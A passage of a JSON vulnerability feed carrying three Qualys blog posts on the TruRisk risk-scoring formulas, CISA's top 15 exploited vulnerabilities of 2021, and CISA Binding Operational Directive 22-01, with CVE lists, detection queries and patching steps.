exploit available, but no evidence of exploitation. \nCVSS Critical with evidence of exploitation, but mitigation in place. \n70-79| CVSS High, weaponized exploit available, but no evidence of exploitation \n60-69| CVSS critical, no exploits available \n50-60| CVSS High, a Proof of Concept (PoC) exploit is available \n40-50| CVSS High, no exploit available \n30-39| CVSS Medium, a PoC exploit is available \n1-30| CVSS Low vulnerabilities, low risk of exploitation \n \n### **Asset Risk Score (ARS) **\n\nQualys TruRisk\u2019s next type of risk score allows organizations to identify the riskiest assets in their organization. To assess the risk an asset poses to an organization, the** Asset Risk Score** considers multiple factors.\n\nThe primary factor considered by ARS is Asset Criticality, ie, what risk the asset poses based on its business value. For example: Is the asset part of a production system, a system hosting a production database, or is it purely an internal system used for development and test purposes. Production assets should be rated higher than test systems.\n\nQualys TruRisk determines the business criticality of the asset using multiple approaches, including: \n\n * **Manual** **Ratings **\u2013 TruRisk allows users to set the criticality of the system by using asset tags \n * **Synchronization with CMDB** \u2013 Most enterprises store business criticality information for assets in a configuration management database. Qualys automatically maps to CMDB data to determine the criticality of the system \n * **API\u2019s \u2013 **Using [Qualys APIs for Asset Management and Tagging](<https://www.qualys.com/docs/qualys-asset-management-tagging-api-v2-user-guide.pdf>), users can assign business criticality to an asset \n\nFinally, TruRisk analyzes the vulnerabilities found on the system and determines the asset\u2019s risk based on the QDS scores of the vulnerabilities on an asset by a clearly defined formula called the Asset Risk Score formula.\n\n### **Asset Risk Score Formula**\n\nThe Asset Risk Score (ARS) is calculated using the following formula: \n \n \n ARS Score = ACS Score * [wc * Avg (QDS for Critical Vuln) * f (Critical vuln count) + \n \n wh * Avg (QDS for High Vuln) * f (High vuln count) + \n \n wh * Avg (QDS for Medium Vuln) * f (Medium vuln count) + \n \n wh * Avg (QDS for Low Vuln) * f (Low vuln count)] * I(External) \n\nIn the above formula, **_ACS _**is Asset Criticality Score, **_w__**are the weights fine-tuned by TruRisk algorithm to multiply each of the severity, function **_f_**_ ()_, is a non-linear function that increases exponentially as number of vulnerabilities increases. Also, the factor **_I(External)_** is for the case where an asset is external facing or discoverable by Shodan. This factor increases the score appropriately for external facing assets.\n\nARS Range| Severity| Description \n---|---|--- \n850-1000| Critical| Critical asset with multiple critical or high vulnerabilities \n700-849| High| High value asset with multiple number of critical or high vulnerabilities or is exposed to the internet \n500-699| Medium| Moderate value asset with critical or high vulnerabilities \n0-499| Low| Low value asset with multiple vulnerabilities \n \n### Conclusion\n\nQualys TruRisk offers organizations a comprehensive approach to risk prioritization by considering multiple factors such as vulnerability exploitation, presence of compensating controls, asset criticality, its location (internal or external) to name a few to paint an accurate picture of organization\u2019s TruRisk (pun intended). In this blog we did a deep-dive into one aspect of TruRisk (vulnerability prioritization) and showcased how it\u2019s better than existing models. This blog is the first of series of blogs around TruRisk, and in subsequent blogs we will do a similar deep-dives into other aspects of TruRisk for e.g. asset risk, asset group risk, misconfigurations and many more to help organizations prioritize better based on risk.\n\nWith Qualys TruRisk we have introduced foundational building blocks for major cyber risk initiatives like peer benchmarking, risk score customization, third-party risk assessment, and many more. We are very excited about TruRisk and the benefits it provides to our customers. Stay tuned for more updates.\n\n### Additional Contributors\n\n 1. Shreya Salvi, Data Scientist, Qualys\n 2. Mehul Revankar, VP, Product Management & Engineering for VMDR, Qualys\n 3. Payal Mehrotra, Senior Director, Product Management for CyberRisk, Qualys", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-10T14:32:29", "type": "qualysblog", "title": "In-Depth Look Into Data-Driven Science Behind Qualys TruRisk", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-3351", "CVE-2021-31207", "CVE-2021-34523", "CVE-2021-36942", "CVE-2022-30190"], "modified": "2022-10-10T14:32:29", "id": "QUALYSBLOG:9E3CACCA2916D132C2D630A8C15119F3", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-11T05:29:14", "description": "_The U.S. Cybersecurity & Infrastructure Security Agency has published its report on the top exploited vulnerabilities of 2021. This blog summarizes the report\u2019s findings and how you can use Qualys VMDR to automatically detect and remediate these risks in your enterprise environment._\n\nThe Cybersecurity & Infrastructure Security Agency (CISA) releases [detailed alerts](<https://www.cisa.gov/uscert/ncas/alerts>) of critical vulnerabilities and threats when warranted. These alerts cover the most exploited security vulnerabilities and provide critical insights into the type, nature, and vendor product affected, as well as recommended mitigations that enterprise IT/security professionals can take to reduce their risk.\n\nTo that end, CISA has released its [2021 Top Routinely Exploited Vulnerabilities Report](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>). It provides in-depth details of each exploited CVE, including which threat actors aggressively targeted both public and private sector organizations worldwide. It also provides mitigation guidance for all the top vulnerabilities.\n\nOf special interest in the report is this key finding by CISA:\n\n_Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities. For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (POC) code within two weeks of the vulnerability's disclosure, likely facilitating exploitation by a broader range of malicious actors._\n\n### CISA\u2019s Top 15 Routinely Exploited Vulnerabilities of 2021\n\nThe top 15 routine vulnerability exploits observed by cybersecurity authorities in the U.S., Australia, Canada, New Zealand, and the U.K. are:\n\nCVE| Vulnerability Name| Vendor and Product| Type \n---|---|---|--- \n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>)| [Log4Shell](<https://www.qualys.com/log4shell-cve-2021-44228/>) | Apache Log4j| Remote code execution (RCE) \n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>)| | Zoho ManageEngine AD SelfService Plus| RCE \n[CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)| ProxyShell| Microsoft Exchange Server| Elevation of privilege \n[CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)| ProxyShell| Microsoft Exchange Server| RCE \n[CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)| ProxyShell| Microsoft Exchange Server| Security feature bypass \n[CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>)| | Atlassian Confluence Server and Data Center| Arbitrary code execution \n[CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>)| | VMware vSphere Client| RCE \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)| [ZeroLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2020/09/15/microsoft-netlogon-vulnerability-cve-2020-1472-zerologon-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Netlogon Remote Protocol (MS-NRPC)| Elevation of privilege \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)| | Microsoft Exchange Server| RCE \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)| | Pulse Secure Pulse Connect Secure| Arbitrary file reading \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)| | Fortinet FortiOS and FortiProxy| Path traversal \n \n### Highlights of Top Vulnerabilities Cited in CISA 2021 Report\n\nBased on the analysis of this report by the Qualys Research Team, let\u2019s review a few of the top vulnerabilities on the 2021 list and our recommendations for how Qualys enterprise customers can detect and respond to them.\n\n#### Log4Shell Vulnerability\n\nThe Log4Shell vulnerability **(CVE-2021-44228)** was disclosed in December 2021. It was widely exploited by sending a specially crafted code string, which allowed an attacker to execute arbitrary Java code on the server and take complete control of the system. Thousands of products used Log4Shell and were vulnerable to the Log4Shell exploitation.\n\nVisit the [Qualys Log4Shell website](<https://www.qualys.com/log4shell-cve-2021-44228/>) for full details on our response to this threat.\n\n### ProxyShell: Multiple Vulnerabilities\n\nThe multiple vulnerabilities called ProxyShell **(CVE-2021-34523, CVE-2021-34473, CVE-2021-31207)** affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination (i.e., via "vulnerability chaining") enables a remote actor to execute arbitrary code and privilege escalation.\n\n### ProxyLogon: Multiple Vulnerabilities\n\nThe multiple vulnerabilities named ProxyLogon **(CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, CVE-2021-27065)** also affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination allows an unauthenticated threat actor to execute arbitrary code on vulnerable Exchange Servers, which enables the attacker to gain persistent access to files, mailboxes, and credentials stored on the servers.\n\n[Read our blog](<https://blog.qualys.com/product-tech/2021/03/10/security-advisory-mitigating-the-risk-of-microsoft-exchange-zero-day-proxylogon-vulnerabilities>) on this threat.\n\n#### Confluence Server and Data Center Vulnerability\n\nAn Object Graph Navigation Library injection vulnerability **(CVE-2021-26084)** exists in Confluence Server that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance.\n\n#### Top Vulnerabilities of 2020 Persist\n\nThree additional vulnerabilities **(CVE-2020-1472, CVE-2018-13379, CVE-2019-11510)** were part of the routinely exploited [top vulnerabilities of 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>) list but continued to be exploited well into 2021.\n\n### How Can Qualys Help?\n\nThe Qualys Research Team stays on top of CISA\u2019s vulnerability reports by mapping and releasing our QIDs as needed. The goal is to provide our enterprise customers with complete visibility into risk across their organizations.\n\n#### Detect CISA Top 15 Exploited Vulnerabilities using Qualys VMDR\n\n[Qualys VMDR](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) provides coverage for all 15 vulnerabilities described in the CISA report. [Qualys Patch Management](<https://www.qualys.com/apps/patch-management/>) can automatically patch all Windows-related vulnerabilities which account for 60% of the 15 vulnerabilities. Organizations can quickly reduce the risk from these vulnerabilities. Organizations can quickly reduce the risk from these vulnerabilities.\n\nUsing VMDR and Qualys Query Language (QQL) lets you easily detect all your assets that are vulnerable to the top 15.\n\nUse this QQL statement:\n \n \n vulnerabilities.vulnerability.cveIds:[`CVE-2021-44228`, `CVE-2021-40539`, `CVE-2021-34523`, `CVE-2021-34473`, `CVE-2021-31207`, `CVE-2021-27065`, `CVE-2021-26858`, `CVE-2021-26857`, `CVE-2021-26855`, `CVE-2021-26084`, `CVE-2021-21972`, `CVE-2020-1472`, `CVE-2020-0688`, `CVE-2019-11510`, `CVE-2018-13379`]\n\nView vulnerabilities be severity in Qualys VMDR\n\nQualys Unified Dashboard provides a comprehensive view of the top 15 exploited vulnerabilities as they affect your entire enterprise environment. The dashboard allows the security team to keep track of each vulnerability as they may propagate across multiple assets in your infrastructure.\n\nDashboard CISA: Alert (AA22-117A) | Top 15 Routinely Exploited\n\nQualys Unified Dashboard\n\n#### Prioritize CISA Top 15 Exploited Vulnerabilities using Qualys VMDR\n\nQualys VMDR makes it easy to prioritize the top 15 exploited vulnerabilities affecting your company\u2019s internet-facing assets. To do so, apply the tag \u201cInternet Facing Assets\u201d in the Prioritization tab. You can add tags like "Cloud Environments", "Type: Servers", "Web Servers", and "VMDR-Web Servers" to increase your scope of assets.\n\nUse this QQL statement:\n \n \n vulnerabilities.vulnerability.cveIds:[`CVE-2021-44228`, `CVE-2021-40539`, `CVE-2021-34523`, `CVE-2021-34473`, `CVE-2021-31207`, `CVE-2021-27065`, `CVE-2021-26858`, `CVE-2021-26857`, `CVE-2021-26855`, `CVE-2021-26084`, `CVE-2021-21972`, `CVE-2020-1472`, `CVE-2020-0688`, `CVE-2019-11510`, `CVE-2018-13379`]\n\nPrioritizing vulnerabilities for remediation in Qualys VMDR\n\n#### Remediate CISA Top 15 Exploited Vulnerabilities using Qualys VMDR\n\nQualys Patch Management offers out-of-the-box support for patching multiple CISA vulnerabilities. Patch Management also provides patches for many Microsoft, Linux, and third-party application vulnerabilities.\n\nTo view the patchable QIDs, enable the "Show only Patchable" toggle button. After that, you can configure the patch job to patch the relevant QIDs and their respective associated CVEs.\n\nUsing Qualys Patch Management to apply patches\n\nQualys Patch Management also provides the ability to deploy custom patches. The flexibility to customize patch deployment allows you to patch all the remaining CVEs in your patching to-do list.\n\nTo get a view of all available patches for CISA\u2019s top 15 exploitable vulnerabilities of 2021, go to the Patch Management application and run this QQL statement in the Patches tab:\n \n \n cve:[`CVE-2021-44228`, `CVE-2021-40539`, `CVE-2021-34523`, `CVE-2021-34473`, `CVE-2021-31207`, `CVE-2021-27065`, `CVE-2021-26858`, `CVE-2021-26857`, `CVE-2021-26855`, `CVE-2021-26084`, `CVE-2021-21972`, `CVE-2020-1472`, `CVE-2020-0688`, `CVE-2019-11510`, `CVE-2018-13379`]\n\nViewing available patches in Qualys Patch Management\n\nFor additional patch details about vulnerabilities reported by CISA, please see the [Appendix](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>) of the CISA report.\n\n### Getting Started\n\nReady to get started? Learn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-05-06T12:19:24", "type": "qualysblog", "title": "CISA Alert: Top 15 Routinely Exploited Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2020-0688", "CVE-2020-1472", "CVE-2021-21972", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228"], "modified": "2022-05-06T12:19:24", "id": "QUALYSBLOG:CAF5B766E6B0E6C1A5ADF56D442E7BB2", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-09T06:36:02", "description": "[Start your VMDR 30-day, no-cost trial today](<https://www.qualys.com/forms/vmdr/>)\n\n## Overview\n\nOn November 3, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>), "Reducing the Significant Risk of Known Exploited Vulnerabilities." [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of known exploited vulnerabilities that carry significant risk to the federal government and establishes requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires agencies to review and update agency internal vulnerability management procedures within 60 days according to this directive and remediate each vulnerability according to the timelines outlined in 'CISA's vulnerability catalog.\n\nQualys helps customers to identify and assess risk to organizations' digital infrastructure and automate remediation. Qualys' guidance for rapid response to Operational Directive is below.\n\n## Directive Scope\n\nThis directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency's behalf.\n\nHowever, CISA strongly recommends that private businesses and state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA's public catalog.\n\n## CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [291 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. The Qualys Research team has mapped all these CVEs to applicable QIDs. You can view the complete list of CVEs and the corresponding QIDs [here](<https://success.qualys.com/discussions/s/article/000006791>).\n\n### Not all vulnerabilities are created equal\n\nOur quick review of the 291 CVEs posted by CISA suggests that not all vulnerabilities hold the same priority. CISA has ordered U.S. federal enterprises to apply patches as soon as possible. The remediation guidance can be grouped into three distinct categories:\n\n#### Category 1 \u2013 Past Due\n\nRemediation of 15 CVEs (~5%) are already past due. These vulnerabilities include some of the most significant exploits in the recent past, including PrintNightmare, SigRed, ZeroLogon, and vulnerabilities in CryptoAPI, Pulse Secure, and more. Qualys Patch Management can help you remediate most of these vulnerabilities.\n\n#### Category 2 \u2013 Patch in less than two weeks\n\n100 (34%) Vulnerabilities need to be patched in the next two weeks, or by **November 17, 2022**.\n\n#### Category 3 \u2013 Patch within six months\n\nThe remaining 176 vulnerabilities (60%) must be patched within the next six months or by **May 3, 2022**.\n\n## Detect CISA's Vulnerabilities Using Qualys VMDR\n\nThe Qualys Research team has released several remote and authenticated detections (QIDs) for the vulnerabilities. Since the directive includes 291 CVEs, we recommend executing your search based on vulnerability criticality, release date, or other categories.\n\nFor example, to detect critical CVEs released in 2021:\n\n_vulnerabilities.vulnerability.criticality:CRITICAL and vulnerabilities.vulnerability.cveIds:[ `CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]_\n\n\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using the VMDR Prioritization report.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to the CISA Known Exploited Vulnerabilities and gather your status and overall management in real-time. With trending enabled for dashboard widgets, you can keep track of the status of the vulnerabilities in your environment using the ["CISA 2010-21| KNOWN EXPLOITED VULNERABILITIES"](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard:\n\n\n\n### Summary Dashboard High Level Structured by Vendor:\n\n\n\n## Remediation\n\nTo comply with this directive, federal agencies must remediate most "Category 2" vulnerabilities by **November 17, 2021**, and "Category 3" by May 3, 2021. Qualys Patch Management can help streamline the remediation of many of these vulnerabilities.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive's aggressive remediation date of November 17, 2021. Running this query will find all required patches and allow quick and efficient deployment of those missing patches to all assets directly from within the Qualys Cloud Platform.\n\ncve:[`CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]\n\n\n\nQualys patch content covers many Microsoft, Linux, and third-party applications; however, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch the remaining CVEs in this list.\n\nNote that the due date for \u201cCategory 1\u201d patches has already passed. To find missing patches in your environment for \u201cCategory 1\u201d past due CVEs, copy the following query into the Patch Management app:\n\ncve:['CVE-2021-1732\u2032,'CVE-2020-1350\u2032,'CVE-2020-1472\u2032,'CVE-2021-26855\u2032,'CVE-2021-26858\u2032,'CVE-2021-27065\u2032,'CVE-2020-0601\u2032,'CVE-2021-26857\u2032,'CVE-2021-22893\u2032,'CVE-2020-8243\u2032,'CVE-2021-22900\u2032,'CVE-2021-22894\u2032,'CVE-2020-8260\u2032,'CVE-2021-22899\u2032,'CVE-2019-11510']\n\n\n\n## Federal Enterprises and Agencies Can Act Now\n\nFor federal enterprises and agencies, it's a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>).\n\nHere are a few steps Federal enterprises can take immediately:\n\n * Run vulnerability assessments against all your assets by leveraging various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Patch Management to apply patches and other configurations changes\n * Track remediation progress through Unified Dashboards\n\n## Summary\n\nUnderstanding vulnerabilities is a critical but partial part of threat mitigation. Qualys VMDR helps customers discover, assess threats, assign risk, and remediate threats in one solution. Qualys customers rely on the accuracy of Qualys' threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any organization efficiently respond to the CISA directive.\n\n## Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-09T06:15:01", "type": "qualysblog", "title": "Qualys Response to CISA Alert: Binding Operational Directive 22-01", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-0601", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-1497", "CVE-2021-1498", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-20016", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-22502", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-22986", "CVE-2021-26084", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", 